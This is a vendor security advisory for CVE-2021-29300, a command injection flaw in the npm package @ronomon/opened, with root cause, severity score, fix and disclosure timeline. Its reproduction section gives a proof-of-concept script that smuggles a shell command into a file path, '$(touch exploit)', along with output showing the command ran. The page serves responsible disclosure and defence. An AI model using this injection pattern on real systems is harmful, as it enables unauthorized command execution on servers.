--- title: "CX-2021-4775" date: "2021-03-23T07:00:00+00:00" url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4775/" --- # CX-2021-4775 [Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/) Fixed: Apr 14, 2021 CVE-2021-29300 **Published:** Mar 23, 2021 9.8 Critical Severity javascript node nodejs npm RCE FF Fábio Freitas Reported by Checkmarx Zero Details Overview ## Summary The opened @ronomon/opened library, a node api used for checking if a certain file is opened on a system, is vulnerable to a command injection vulnerability which would allow a remote attacker to execute commands on the system if the library was used with untrusted input. The root cause of the problem is in the line 87 of the index.js file which takes unsanitized potential untrusted input as part of a string which executed as a command through the “child\_process” directive. ## Product @ronomon/opened up to 1.5.1 ## Impact In the cases that this library is used in a project where the file to check may be defined by untrusted input, a malicious actor will be able to use this to inject malicious commands in the server hosting the Node JS application. ## Steps to reproduce In order to reproduce this vulnerability, the following poc.js file can be created and executed (provided the affected package is already installed) ```js // poc.js var Opened = require('@ronomon/opened'); var paths = ['/etc/passwd $(touch exploit)']; Opened.files(paths, function(error, hashTable) { if (error) throw error; paths.forEach( function(path) { console.log(path + ' open=' + hashTable[path]); } ); } ); ``` ### Expected result: A file named `exploit` has been created ``` /app/poc.js:9 if (error) throw error; ^ Error: Command failed: lsof -F n -- "/etc/passwd $(touch exploit)" /bin/sh: 1: lsof: not found at ChildProcess.exithandler (child_process.js:308:12) at ChildProcess.emit (events.js:314:20) at maybeClose (internal/child_process.js:1022:16) at Socket. (internal/child_process.js:444:11) at Socket.emit (events.js:314:20) at Pipe. (net.js:675:12) { killed: false, code: 127, signal: null, cmd: 'lsof -F n -- "/etc/passwd $(touch exploit)"' } total 12 -rw-r--r-- 1 root root 0 Mar 23 15:54 exploit drwxr-xr-x 4 root root 4096 Feb 22 18:06 node_modules -rw-r--r-- 1 root root 907 Feb 22 18:06 package-lock.json -rw-rw-r-- 1 root root 298 Feb 26 11:07 poc.js ``` ## Remediation As for the remediation, best practices recommend not using an API that can interpret a string as a shell command – or if this necessary using instead the .spawn() directive in which a new process is spawned using the binary in the first argument and the rest are arguments for it that will by default not be interpreted as shell commands. ## Credit This issue was discovered and reported by Checkmarx SCA Security Researcher [@0xfabiof (Fábio Freitas)](https://twitter.com/0xfabiof). ## Resources 1. [7effe01](https://github.com/ronomon/opened/commit/7effe011d4fea8fac7f78c00615e0a6e69af68ec) 0 Critical Severity CVSS v3.1 Score 9.8 CVSS v3.1 Vectors- Attack Vector: Network - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Scope: Unchanged - Confidentiality Impact: High - Integrity Impact: High - Availability Impact: High Advisory Timeline1. Discovered Mar 22, 2021 Notified developer 2. Fixed Apr 14, 2021 Version 1.5.2 released with fix ## Explore more findings [27 Nov 2025 CVE-2025-34281 Stored Cross-Site Scripting (XSS) in ThingsBoard 6.2 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825 HTTP Response Splitting in cpp-httplib 6.9 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050 Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface 4.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374 Code Injection in UltiMaker Cura 7.8 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497 Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496 Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [ 14 Nov 2024 CVE-2024-51495 Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field 7.5 Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352 Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351 Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350 Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group 7.5 Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)